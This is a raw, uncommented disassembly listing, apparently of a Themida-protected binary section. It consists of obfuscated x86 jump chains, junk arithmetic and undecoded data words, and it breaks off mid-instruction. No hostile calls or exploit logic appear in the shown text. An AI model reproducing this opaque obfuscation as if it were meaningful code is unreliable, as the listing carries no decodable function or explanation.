75F768h, 240C8900h, 0FF64FDE9h, 0D3E980FFh dd 0F180D9F6h, 59C8286Eh, 0E92434FFh, 0FFFF8703h, 240C8B66h dd 0BAB68h, 240C8900h, 7EDF68h, 24248900h, 4BE56h, 74010000h dd 8B5E0424h, 0C481240Ch, 4, 4C181h, 24680000h, 8900003Eh dd 5752241Ch, 0DE2924BFh, 5FFA895Ah, 2FFAE281h, 0EAD1082Eh dd 68BDE281h, 0D2F764ACh, 8103EAC1h, 7F7FEFF2h, 5AD3891Fh dd 0E95BD901h, 0FFFFCDEEh, 5C24048Fh, 4EFD68h, 24148900h dd 0FF9053E9h, 52D3F6FFh, 0D300B6B2h, 8124148Bh, 4C4h dd 6FBDE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_540962: ; CODE XREF: Themida_:0053CB58j add edx, 9B6197Eh sub edx, 0B68D608Ah and edi, edx pop edx push eax mov eax, 27F17E76h neg eax jmp loc_54132F ; --------------------------------------------------------------------------- dw 48Bh dd 0E0E95124h db 0DAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_540987: ; CODE XREF: Themida_:00537FDDj add esp, 4 add ebx, 4 xchg ebx, [esp] pop esp sub esp, 4 mov [esp], esi jmp loc_540409 ; --------------------------------------------------------------------------- align 10h dd 0D517E9CBh, 3C31FFFFh, 243C3324h, 0FF905CE9h db 0FFh ; --------------------------------------------------------------------------- loc_5409B1: ; CODE XREF: Themida_:0053710Aj pop ebp add ebp, ebx pop ebx add ebp, 4 xor ebp, [esp] jmp loc_53C91F ; --------------------------------------------------------------------------- loc_5409C3: ; CODE XREF: Themida_:0053786Cj xchg edx, [esp] pop esp pop edx and ebx, edi pop edi or ebx, ebx jnz loc_5425A9 push eax mov eax, 20h jmp loc_5379F0 ; --------------------------------------------------------------------------- dw 0ED2Ch dd 0FF8496E9h, 4EC83FFh, 0E9241489h, 636h ; --------------------------------------------------------------------------- loc_5409F0: ; CODE XREF: Themida_:00536E30j mov ch, 0B5h push ebx jmp loc_53CBC0 ; --------------------------------------------------------------------------- dd 3C8BFB01h, 0C9F2E924h, 77FFFFFFh, 59669D1Ch, 9C241CD2h dd 0FF63B1E9h, 240C8BFFh, 43A768h, 24348900h, 0B9515E54h dd 2B956EB8h, 0C107E1C1h, 0D9F703E1h, 0F600E949h, 0B850FFFFh dd 0F587111h, 960A6F0Dh, 7BBB532Fh, 0E95DA26Fh, 0FFFF6F9Dh dd 4C481h, 0E9C10000h, 0FFDCE908h, 0E781FFFFh, 45A1697Fh dd 0E781DFF7h, 7FB72DDAh, 2DD4EF81h, 0F9017E97h, 4C1835Fh dd 0E9240C87h, 0FFFF94E5h, 0E9D6E958h, 0D901FFFFh, 0E428E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_540A86: ; CODE XREF: Themida_:00542C0Bj sub ecx, 6F184DE9h sub ecx, 0FFFFFFFFh sub ecx, 5B220B82h and eax, ecx push dword ptr [esp] pop ecx add esp, 4 or eax, eax jnz loc_53B436 push esi mov esi, esp push 3701h jmp loc_542AEE ; --------------------------------------------------------------------------- loc_540AB6: ; CODE XREF: Themida_:005421F3j add esi, edi pop edi add esi, 4 xchg esi, [esp] mov esp, [esp] jmp loc_53A934 ; --------------------------------------------------------------------------- db 45h dd 0B850DDF7h, 2ED813F8h, 2429E9h, 4BF00h, 0E9810000h dd 6E011BF2h, 23D1E9h, 46800h, 515A0000h, 0D46C5B9h, 59C8293Bh dd 0EEE9D001h db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_540AFB: ; CODE XREF: Themida_:005411FBj inc dh push ecx mov cl, 0F2h shl cl, 7 neg cl push edx jmp loc_53D5B6 ; --------------------------------------------------------------------------- db 81h dd 0F262D3F7h, 5FFA892Bh, 8755F281h, 0AEE9F794h, 89000005h dd 0E0892404h, 6CA4BB53h, 0EBD1741Dh, 0B64EEB81h, 0D8013A0Eh dd 4EC815Bh, 89000000h, 0F9E9240Ch db 0AFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_540B43: ; CODE XREF: Themida_:005398BAj pop esi jmp loc_53A700 ; --------------------------------------------------------------------------- db 31h, 0F5h, 0E9h dd 0FFFF7601h, 432868h, 8A9FE900h, 48BFFFFh, 4C48324h dd 0D0692C0Dh, 55D00D1Dh, 3C2D09EFh, 523C85Bh, 3FF31CA0h dd 0D158C289h, 42D2F7EAh, 0ABB0EA81h, 0CA05D0A9h, 2974A942h dd 42CA2DD0h, 148B74A9h, 4C48124h, 68000000h, 10C1h, 0BE243489h dd 19E722B7h, 0FF7F41E9h, 55E950FFh, 81FFFFB5h, 464F2434h dd 575A058Bh, 2F2776BFh, 0C04AE928h, 0B951FFFFh, 2, 0FF7C33E9h dd 4F000FFh, 0B5515A6Bh, 0E9CDFE95h, 1530h, 4927DCBAh dd 0EA814A40h, 66435BF9h, 5706E2C1h, 29236FBFh, 5FFA0969h dd 75F68h, 24348900h, 0FFA909E9h, 240C8BFFh, 4C481h, 3C870000h dd 24248B24h, 0E92434FFh, 0F88h, 82B65266h, 0FF77C9E9h dd 4ACB2DFFh, 366866FEh, 0E900001Dh, 1729h, 2ED81h, 2C870000h dd 56E95C24h, 89000012h, 4BA2414h, 29000000h, 4875AD0h dd 64E95C24h, 1FFFFAFh, 7BF8E9F0h, 815AFFFFh, 4ECh, 24348900h dd 601283BEh, 0CCCAE91Bh, 74FFFFFFh, 0A0E90424h, 83FFFFF5h dd 0B85004C4h, 181B68DDh, 0B97C381h, 5FE97087h, 0F7FFFF68h dd 73EF81DFh, 89C2C2DDh, 243C8BFAh, 5004C483h, 2D0214B8h dd 2DC28150h, 0E9162616h, 0FFFFB3D8h, 51241C89h, 0CF881DB1h dd 1D0E959h, 1CF60000h, 0FFE99C24h, 81FFFF60h, 0B727FAEEh dd 0E5C6817Eh, 0FF14A458h, 0E4E92434h, 0FFFFFF74h, 669D1C77h dd 4196658h, 5FE99C24h, 5DFFFFA0h, 76AFC381h, 0F301784Fh dd 76AFEB81h, 0EB81784Fh, 2C4A649Dh, 241C875Eh, 60BCE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_540D06: ; CODE XREF: Themida_:0053D261j shr ecx, 8 add ecx, 404D6FC9h push edi mov edi, 6DC354D7h shl edi, 5 push ebp jmp loc_542B33 ; --------------------------------------------------------------------------- dw 248Bh dd 609CE924h, 53B9FFFFh, 295B9129h, 0C30159CBh, 4F1FBA52h dd 0E281402Dh, 1BD14B14h, 0FFDF88E9h, 2434FFFFh, 4C4835Ah dd 0FFCA4BE9h db 0FFh ; --------------------------------------------------------------------------- loc_540D4D: ; CODE XREF: Themida_:0053BF6Fj push esp jmp loc_537796 ; --------------------------------------------------------------------------- db 5Bh dd 0E959E828h, 0FFFF72B5h, 6CE9E95Ah, 2C89FFFFh, 68E58924h dd 75BAh, 0BA241489h, 1FD4553Ch, 5538BD55h, 0EA291FD4h dd 83242C8Bh, 14E904C4h, 81FFFFEFh, 519CDCC1h, 59C801B0h dd 84E9D801h, 54000013h, 0EA5E959h, 29BA0000h, 1285B16h dd 0ED815AD5h, 4858498Dh, 91E9FD01h, 81FFFF8Dh, 4C1h, 0BD63E900h dd 0E289FFFFh, 4C281h, 0EC810000h, 4, 0B9240C89h, 2, 2D74EA81h dd 0C28109F3h, 6CF018Ah, 1BFEA81h, 0CA01535Ah, 0FF9C36E9h dd 8BD689FFh, 0D7E92414h, 0B8FFFFB8h, 0EFF759Ch, 0D0F74840h dd 1C05D0F7h, 2960FFBAh, 0D90158C3h, 5F11685Bh, 2C890000h dd 0DD5FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_540E1A: ; CODE XREF: Themida_:005391BCj push eax push esi jmp loc_53F40C ; --------------------------------------------------------------------------- loc_540E21: ; CODE XREF: Themida_:005400AEj mov esi, esp push 3A48h mov [esp], ebp jmp loc_541D9B ; --------------------------------------------------------------------------- dd 9D1C77FFh, 0D3665966h, 0E99C2414h, 0FFFF5F82h, 5C243487h dd 88241C89h, 9BC0E9C3h, 0E955FFFFh, 0FFFFC3A6h, 2434FF5Bh dd 18CDE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_540E5E: ; CODE XREF: Themida_:0053E2E0j xor ebx, [esp] pop esp jmp loc_53E088 ; --------------------------------------------------------------------------- db 83h dd 0C4E904C7h, 0C0FFFFA4h, 0E6D007EEh, 888CC680h, 0F8285AF7h dd 0E8285B66h, 0B7538C04h, 6F02E975h, 0DFF6FFFFh, 0FFE015E9h db 0FFh ; --------------------------------------------------------------------------- loc_540E91: ; CODE XREF: Themida_:00539B78j add esi, ebp pop ebp push ebp jmp loc_538829 ; --------------------------------------------------------------------------- loc_540E9A: ; CODE XREF: Themida_:0053CC6Fj add ebx, ecx pop ecx jmp loc_53D469 ; --------------------------------------------------------------------------- dw 0DF87h dd 0BAE9D3F7h, 81FFFF75h, 4C4h, 49E98100h, 811FAF5Ah, 694072E9h dd 0E9D90118h, 0FFFF9FC7h, 0E924148Bh, 0FFFF608Dh, 0FF5EF1E9h dd 61BD66FFh, 0ED81663Ah, 0F7665013h, 664566D5h, 2C7CD81h dd 4E5C166h, 0B4F58166h, 0DB18E933h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_540EF2: ; CODE XREF: Themida_:00539E56j pop eax push ebp sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] pop ebp add esp, 4 add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp jmp loc_536FBD ; --------------------------------------------------------------------------- db 1 dd 24348BF7h, 4C481h, 3C870000h, 0F665C24h, 9C2404B3h dd 0FF919FE9h, 6BBB53FFh, 8139D52Ah, 88592DE3h, 0CE94379h dd 66FFFFE9h, 6824048Bh, 58A6h, 0FF84A0E9h, 67C781FFh dd 1EFB814h, 0ED815FFDh, 39561946h, 0C581CD29h, 39561946h dd 4030B850h, 0C5296E3Fh, 0E924048Bh, 69Dh, 68243489h dd 2, 96C2815Eh, 0E96C4E04h, 6A6h ; --------------------------------------------------------------------------- loc_540F98: ; CODE XREF: Themida_:005377B6j mov [esp], esi mov esi, esp add esi, 4 push 6275h mov [esp], edi mov edi, 4 sub esi, 1F3D646Eh add esi, edi add esi, 1F3D646Eh push dword ptr [esp] pop edi add esp, 4 jmp loc_542BD8 ; --------------------------------------------------------------------------- db 55h, 0BDh, 0F6h dd 21709B49h, 60E95DEAh, 81000011h, 4C6h, 2E5E900h, 0FB290000h dd 241C875Fh, 628BE95Ch, 815CFFFFh, 4C4h, 40500h, 0C0830000h dd 24043304h, 33240431h, 248B2404h, 24043124h, 0FFE2D5E9h dd 0BEF280FFh, 288FC380h, 8FEB80D3h, 0EE5FE95Ah, 8D68FFFFh dd 89000053h, 0F4682404h, 0E92D0D2Eh, 0FFFFFB22h ; --------------------------------------------------------------------------- loc_541038: ; CODE XREF: Themida_:0053A712j pop edi jmp loc_538D52 ; --------------------------------------------------------------------------- loc_54103E: ; CODE XREF: Themida_:0053C8DBj add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], edx mov edx, 1 and eax, edx push dword ptr [esp] pop edx sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_53B23A ; --------------------------------------------------------------------------- db 0F6h, 0D0h, 86h dd 0E232E9C6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54107E: ; CODE XREF: Themida_:00540352j add edx, edi pop edi jmp loc_53EBD1 ; --------------------------------------------------------------------------- dw 5B68h dd 89000020h, 14F72414h, 24148B24h, 0E9E68956h, 106h, 4C481h dd 0C3FE0000h, 0FF6757E9h, 8E1C1FFh, 0FFA3C3E9h, 24D366FFh dd 7E99C24h, 0BEFFFF5Dh, 70DE5DFEh, 0D012C681h, 0F001B2F2h dd 0FF9CBEE9h, 5AD101FFh, 8359C801h, 0FF5002C0h, 58042474h dd 8B24048Fh, 2CD22424h, 0D7E99C24h, 68FFFF5Ch, 3D43h dd 83242489h, 8B042404h, 0C483243Ch, 0EC835304h, 242C8904h dd 0F87CF0BDh, 46C58105h, 0F761326Ah, 50F581DDh, 812AFE41h dd 2B599EF5h, 5DEB89B2h, 815BDF01h, 4ECh, 242C8900h, 2BDh dd 5DEF0100h, 24DE9h, 24248B00h, 55240C89h, 1BDh, 34FF5500h dd 0C4835924h, 0DBC6E904h, 0F7BBFFFFh, 0E9785916h, 0FFFFC594h dd 8BE9D301h db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_541163: ; CODE XREF: Themida_:0053D9D6j push eax mov eax, 4 add ecx, eax jmp loc_537AA5 ; --------------------------------------------------------------------------- dd 217AC581h, 0C5832A2Bh, 94CD8101h, 0E9086F0Dh, 394h ; --------------------------------------------------------------------------- loc_541184: ; CODE XREF: Themida_:0054192Dj push esi mov esi, 728C1C6Fh xor esi, 1D2E0225h push ecx mov ecx, 48C00E04h sub ecx, 7EBD7463h dec ecx jmp loc_53DB21 ; --------------------------------------------------------------------------- dw 0C681h dd 4, 8704C683h, 0C15C2434h, 0EC8306E2h, 243C8904h, 0FFB658E9h db 0FFh ; --------------------------------------------------------------------------- loc_5411BD: ; CODE XREF: Themida_:00539924j xchg ebp, [esp] pop esp jmp loc_542C1D ; --------------------------------------------------------------------------- dw 2C8Bh dd 78A2E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5411CE: ; CODE XREF: Themida_:00538521j mov [esp], eax sub esp, 4 mov [esp], edx push eax mov al, 0B2h mov dl, al jmp loc_53E079 ; --------------------------------------------------------------------------- loc_5411E1: ; CODE XREF: Themida_:0053F013j xchg edx, [esp] pop esp jmp loc_538216 ; --------------------------------------------------------------------------- loc_5411EA: ; CODE XREF: Themida_:0053D0A2j xor ah, 0DBh add dh, 92h add dh, ah sub dh, 92h mov eax, [esp] add esp, 4 jmp loc_540AFB ; --------------------------------------------------------------------------- loc_541200: ; CODE XREF: Themida_:0053A4B6j push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], esi push 5B8E083Bh jmp loc_54124A ; --------------------------------------------------------------------------- loc_541220: ; CODE XREF: Themida_:0053C810j push eax mov eax, esp push ebx mov ebx, 4 add eax, ebx jmp loc_53E111 ; --------------------------------------------------------------------------- loc_541230: ; CODE XREF: Themida_:005398CBj mov eax, 42AC3F49h push ebp mov ebp, 0 sub ebp, eax xchg eax, ebp pop ebp and eax, 6FA00F87h push ecx jmp loc_538592 ; --------------------------------------------------------------------------- loc_54124A: ; CODE XREF: Themida_:0054121Bj pop esi xor esi, 28D332B2h jmp loc_53A3C5 ; --------------------------------------------------------------------------- dw 0E089h dd 405h, 7E95500h, 81FFFFA0h, 4C1h, 23E95300h, 43FFFF78h dd 77B3EB81h, 0DF013CA4h, 59E6685Bh, 0C890000h, 6700E924h dd 0EC83FFFFh, 24048904h, 0AFE95266h, 80FFFF75h, 0C280ABF2h dd 0B61EE92Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54129E: ; CODE XREF: Themida_:0053C030j add ebx, edi sub ebx, 5CE363B4h sub ebx, 74825E6Ah sub ebx, 604E654Bh jmp loc_53716E ; --------------------------------------------------------------------------- db 5Eh dd 97B4E953h, 0E681FFFFh, 0F217713h, 84E9DEF7h, 81000014h dd 4EEh, 24348700h, 2434895Ch, 5550E689h, 0FE5926BDh, 7FFEB829h dd 0E829A298h, 0E8C1405Dh, 36BF2505h, 32350946h, 81014410h dd 41699BC6h, 81C6012Ch, 41699BEEh, 0C683582Ch, 0D396E902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54130E: ; CODE XREF: Themida_:0053D4DAj mov ecx, [esp] add esp, 4 jmp loc_53714F ; --------------------------------------------------------------------------- db 28h, 0E3h, 80h dd 48BB5EBh, 4C48324h, 41EB80h, 0A6E952C3h db 0E4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54132F: ; CODE XREF: Themida_:00540979j shr eax, 4 shl eax, 1 shr eax, 3 shr eax, 8 add eax, 777D0EC6h and edi, eax pop eax jmp loc_53EB94 ; --------------------------------------------------------------------------- db 59h dd 1C8BF830h, 401A6824h, 1C890000h, 0E9E38924h, 88Fh, 5759CF01h dd 42474FFh, 81243C8Bh, 4C4h, 71EDE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_541372: ; CODE XREF: Themida_:0053CB98j add esp, 4 add esi, 2C8D6952h shl esi, 3 jmp loc_53ADF8 ; --------------------------------------------------------------------------- dw 0FF57h dd 0E9042474h, 0FFFFC256h, 0C33AE955h, 0E989FFFFh, 0FFFE29E9h dd 0F83166FFh, 0E92434FFh, 0FFFF60BFh, 4BAh, 5AD08900h dd 29A5BE56h, 0F22966DBh, 0FFC35AE9h, 67C581FFh, 58567F43h dd 8702ED83h, 248B242Ch, 14896624h, 9C506624h, 0FF59E9E9h dd 720268FFh, 47E90000h, 0B6FFFF93h, 80D6F6EAh, 0EE800DEEh dd 2E6C0FFh, 0DDEE80h, 0D9085AF3h, 7FC1805Bh, 0C044B353h dd 0C38004E3h, 5BD90045h, 70E95350h, 81FFFFD8h, 4ECh, 241C8900h dd 0FFDC9DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54141D: ; CODE XREF: Themida_:0053D836j add esi, edi pop edi xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_5406D8 ; --------------------------------------------------------------------------- dw 15Bh dd 0B192E9C1h, 5456FFFFh, 8B2434FFh, 0C4812434h, 4, 5304C483h dd 4BBh, 5BDE0100h, 4BF57h, 2CE90000h, 89FFFF82h, 8B542414h dd 0EC832414h, 240C8904h, 8904EC83h, 4832424h, 1AE90424h db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_541477: ; CODE XREF: Themida_:00540414j sub edx, esi add edx, 57582009h pop esi jmp loc_536DC2 ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 81000000h, 4C7h, 74FF5700h, 8F5F0424h, 315C2404h, 0E9C231C3h dd 0FFFF591Eh ; --------------------------------------------------------------------------- loc_5414A4: ; CODE XREF: Themida_:00541A39j add edx, 5B833B08h jmp loc_53FE13 ; --------------------------------------------------------------------------- db 52h dd 0FFCF49E9h, 0D08850FFh, 8B58C188h, 0C4832414h, 66C83004h dd 83240C8Bh, 0B05002C4h, 0E9C30040h, 0FFFFB76Ch, 4C181h dd 56500000h, 3ECE9h, 1EC8000h, 0E904EC83h, 0FFFF5A9Ch ; --------------------------------------------------------------------------- loc_5414EC: ; CODE XREF: Themida_:00537176j add esp, 4 push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] jmp loc_539015 ; --------------------------------------------------------------------------- dw 0FF64h dd 58B4E932h, 5BBAFFFFh, 0E96DD35Bh, 0FFFFB232h, 8DFDED81h dd 0BA5229FFh, 6C0B7060h, 0CFE9D701h, 5DFFFFC7h, 6D6D2D48h dd 0E9557AAAh, 0FFFFC580h, 6583E948h, 14F7FFFFh, 0B8505A24h dd 5DA045A5h, 0FFC1B1E9h, 5AD101FFh, 3BA268h, 241C8900h dd 64FFBF57h, 5BB0599h, 1FA669Bh, 0D9015FFBh, 825E9h, 5EE95700h db 7Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_541573: ; CODE XREF: Themida_:0053E10Cj neg esi push eax jmp loc_542B06 ; --------------------------------------------------------------------------- db 56h dd 175BE9h, 74FF5200h, 0E95A0424h, 0FFFFEDB8h ; --------------------------------------------------------------------------- loc_54158C: ; CODE XREF: Themida_:0053F2E5j mov edx, 1Ch push ecx mov ecx, 17542E8Fh add edx, 24BD0E82h add edx, ecx sub edx, 24BD0E82h pop ecx jmp loc_541917 ; --------------------------------------------------------------------------- db 33h dd 2C31242Ch, 242C3324h, 0E924248Bh, 0FFFF5806h, 0B9240C89h dd 2, 0FFEA9FE9h, 14335FFFh, 24143124h, 5C241433h, 9C240CFEh dd 0FF57E5E9h db 0FFh ; --------------------------------------------------------------------------- loc_5415DD: ; CODE XREF: Themida_:0053A1EFj neg eax jmp loc_540048 ; --------------------------------------------------------------------------- dd 5BF800h, 66752CD0h, 28422C5Ah, 0E94204D8h, 0FFFF6239h dd 50F7C380h, 6615B353h, 28D9B252h, 805A66D3h, 0EB805CF3h dd 0E6F3808Fh, 805BDC88h, 0C480C3C4h, 48EC8001h, 0FFAAFBE9h dd 4C483FFh, 83240C8Bh, 2C8704C4h, 89665C24h, 0F66240Ch dd 5166C8B6h, 5784E99Ch, 0F201FFFFh, 496EA81h, 875E6C4Eh dd 0E95C2414h, 0FFFFED8Dh, 0E904EC83h, 0FFFF6888h ; --------------------------------------------------------------------------- loc_541658: ; CODE XREF: Themida_:0053EE23j pop ebx jmp loc_5388EF ; --------------------------------------------------------------------------- dw 0ABAh dd 8150067Ah, 0F985FAC2h, 5AD689AFh, 0FFB501E9h db 0FFh ; --------------------------------------------------------------------------- loc_541671: ; CODE XREF: Themida_:0053E5B1j push ecx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov ecx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_5416A7 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 0E8E95450h db 9Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5416A7: ; CODE XREF: Themida_:00541698j push 55B9h jmp loc_53B71F ; --------------------------------------------------------------------------- db 5Ah, 0C0h, 0E0h dd 34FF0408h, 2E8C0C2h, 0C6306D2Ch, 8B2434FFh, 0C4832404h dd 4C48104h, 53000000h, 0EB80B6B3h, 66EB80DDh, 8061F380h dd 0DE2015F3h, 3EEC05Bh, 0FFBDB7E9h, 46C505FFh, 148B3B0Dh dd 0D4CDE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5416F6: ; CODE XREF: Themida_:0053883Dj add dh, 0B2h sub al, dh jmp loc_53DB2C ; --------------------------------------------------------------------------- dd 565B0303h, 0C6815E54h, 4, 1AE768h, 242C8900h, 6453B2BDh dd 0C1D5F77Fh, 0ED8302E5h, 57E36801h, 0C890000h, 4062B924h dd 0D1F775D2h, 2FB0C181h, 68532F37h, 4E3Ah, 0BE243489h dd 48500CF7h, 981E1DBBh, 5EF32998h, 815BD929h, 726F08F1h dd 8ED816Bh, 2915EC2Dh, 8C581CDh, 5915EC2Dh, 875DEE29h dd 0E95C2434h, 0FFFFA1A6h ; --------------------------------------------------------------------------- loc_541770: ; CODE XREF: Themida_:00538818j and ecx, ebx mov ebx, [esp] jmp loc_53A2F9 ; --------------------------------------------------------------------------- loc_54177A: ; CODE XREF: Themida_:00539B3Fj or eax, 7751974h sub eax, 0DEB9FB1Ah xor esi, eax pop eax xor esi, 2DA404BEh or edi, esi jmp loc_539E72 ; --------------------------------------------------------------------------- dd 4EC81h, 14890000h, 54E5BA24h, 0B8502CC6h, 261900FBh dd 8244429h, 5724048Bh, 0C781E789h, 4, 4C781h, 8CE90000h dd 29FFFF7Eh, 242C8BE9h, 0E904C483h, 0FFFF5665h, 4C781h dd 3C870000h, 0E5E95C24h, 5BFFFF7Eh, 0FFBAF3E9h, 243489FFh dd 0C118AA68h, 24348B22h, 11C8E952h db 2 dup(0), 59h ; --------------------------------------------------------------------------- loc_5417F7: ; CODE XREF: Themida_:0053F772j push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx mov ebx, [esp] push 3D89h mov [esp], ebp mov ebp, esp push ebx push edi mov edi, 1E81630Fh mov ebx, edi pop edi jmp loc_537055 ; --------------------------------------------------------------------------- loc_541826: ; CODE XREF: Themida_:0053A495j sub edi, 233940C6h sub edi, 74EA04BCh push ebp jmp loc_53F06B ; --------------------------------------------------------------------------- loc_541838: ; CODE XREF: Themida_:00542997j pop ecx push edi push 4937h mov [esp], edx mov edx, 7AE07157h mov edi, edx mov edx, [esp] jmp loc_53ACCD ; --------------------------------------------------------------------------- loc_541851: ; CODE XREF: Themida_:0053EBEDj mov eax, [ebx] pop ebx mov edx, [esp] add esp, 4 push dword ptr [edi+eax*4] push dword ptr [esp] pop eax jmp loc_53A0D3 ; --------------------------------------------------------------------------- loc_541869: ; CODE XREF: Themida_:0054266Bj push dword ptr [esp] jmp loc_538807 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 8B2434FFh, 0AE92404h, 29FFFF5Ch, 0BB2AE9D0h, 34FFFFFFh dd 54575824h, 0B6BB535Fh, 0E93CA477h, 0FFFFF9D7h, 4C4835Ah dd 0FFC641E9h, 5832FFFFh, 0FC2815Ah, 144C557h, 7BBF57C2h dd 686FC636h, 291Ah, 0B8240489h, 36760820h, 0FFD79FE9h dd 45DDF7FFh, 0FFE48CE9h, 4BEFFh, 0F0890000h, 0FF607BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5418D9: ; CODE XREF: Themida_:005392AEj sub esi, eax pop eax add esi, 0BB40D9Eh sub esi, edx sub esi, 0BB40D9Eh jmp loc_53E680 ; --------------------------------------------------------------------------- db 0C0h dd 0B05002EAh, 310462h, 0CA8058C2h, 1EA8080h, 0FF7150E9h dd 80DBB2FFh, 0B6E9F3EAh, 8FFFFFCEh, 38E92404h db 76h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_541917: ; CODE XREF: Themida_:005415A6j add edx, 0FDC15E7h add edx, edi sub edx, 0FDC15E7h push edi mov edi, 0AE5262Ah not edi jmp loc_541184 ; --------------------------------------------------------------------------- dw 0C1BFh dd 513F2211h, 559DCB9h, 0E9CF0163h, 0FFFF5A59h, 4EC81h dd 0C890000h, 34FF5B24h, 240C8B24h, 4C481h, 0C4830000h dd 245C0104h, 241C8B04h, 4C481h, 90E90000h, 30FFFFE7h dd 805A66D7h, 0F780C5F7h, 0E9FE28AFh, 0FFFF6A4Fh, 8704EB83h dd 545C241Ch, 8324048Fh, 5B042404h, 4C381h, 68E90000h dd 66FFFF8Ch, 9C241CF7h, 0FFCCF2E9h, 2867B1FFh, 240C8BCAh dd 4C481h, 51660000h, 0B17CB252h, 5AD13009h, 0C800982Ch dd 0FF860CE9h, 1C680FFh, 0F680CEFEh, 0E96B2C02h, 0FFFFF1F9h dd 77E568h, 240C8900h, 0F58666B5h, 0F586D6F6h, 0ED80C5FEh dd 6B2C5Bh, 596B04E8h, 0FF737AE9h, 0C3166FFh, 0E9876624h dd 0F7669566h, 669566D0h, 8766E987h, 8B66240Ch, 5456243Ch dd 0FF8E78E9h, 0C4835EFFh, 81C30104h, 6C6DEBC3h, 8F6614h dd 0FF5399E9h db 0FFh ; --------------------------------------------------------------------------- loc_541A29: ; CODE XREF: Themida_:0053956Ej add esi, 1 push 3F07h mov [esp], edx mov edx, 47A158F1h jmp loc_5414A4 ; --------------------------------------------------------------------------- dw 8953h dd 4C381E3h, 57000000h, 4BFh, 0F594E900h, 77FFFFFFh, 59669D1Ch dd 241CD366h, 5360E99Ch, 0E689FFFFh, 4C681h, 0EE830000h dd 24348704h, 242C895Ch, 4BDh, 4EC8300h, 5E242C89h, 2474015Dh dd 24348B04h, 0FF7A03E9h, 240C8BFFh, 4C481h, 0F7010000h dd 243C335Eh, 33243C31h, 248B243Ch, 0B60F6624h, 22B568C8h dd 34890000h, 0A39AE924h, 0C781FFFFh, 1, 191FEF81h, 512DBAC5h dd 50C0D03h, 3B7C79A4h, 44E9F801h db 82h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_541AD3: ; CODE XREF: Themida_:00539C9Ej push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] pop esp jmp loc_540335 ; --------------------------------------------------------------------------- db 1, 0FAh, 5Fh dd 593E9h, 81CA0100h, 43F6AC2h, 240C8B0Bh, 4C481h, 14870000h dd 24248B24h, 240CD366h, 52B0E99Ch, 0D821FFFFh, 2C7A355Bh dd 0C1310329h, 81E9D158h, 90C628E9h, 0CEC78101h, 17C9512h dd 0CEEF81CFh, 8B7C9512h db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_542E03 ; --------------------------------------------------------------------------- dw 8153h dd 73E12404h, 0E9597A1Bh, 0FFFFB5B6h, 79B85049h, 0C154A073h dd 0E94808E8h, 0FFFF8D31h ; --------------------------------------------------------------------------- loc_541B68: ; CODE XREF: Themida_:00538B4Aj pop esp push edi mov edi, 46190476h xor edi, 3DAE204Ch jmp loc_53DBD5 ; --------------------------------------------------------------------------- loc_541B7A: ; CODE XREF: Themida_:0053D3E7j pop edx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edx jmp loc_537648 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0E9535900h, 0FFFF9C9Ah, 8124048Bh, 4C4h, 22766800h dd 3C890000h, 0E6895624h, 4C681h, 0EE830000h, 1183E904h dd 248B0000h, 4EE8124h, 87000000h, 248B2434h, 242C8924h dd 0FF79B9E9h, 30EA81FFh, 5343EA7Fh, 2B94B951h, 71E9707Ah dd 83FFFF5Ch, 0C8904ECh, 4B924h, 0CB010000h, 0FFB0EFE9h dd 1802DFFh, 0E95D45CFh, 0FFFFD3AAh ; --------------------------------------------------------------------------- loc_541C08: ; CODE XREF: Themida_:00541E34j mov ch, 0A0h jmp loc_53B95E ; --------------------------------------------------------------------------- db 81h dd 2114C2C5h, 0EAE3E966h, 0B151FFFFh, 0A296E936h, 0FB01FFFFh dd 0FF67B4E9h, 5DE831FFh, 158C301h, 34335BDEh, 24343124h dd 8B243433h, 79E92424h, 81000001h, 4C1h, 0BFE95200h db 0F8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_541C4F: ; CODE XREF: Themida_:00538D54j pop 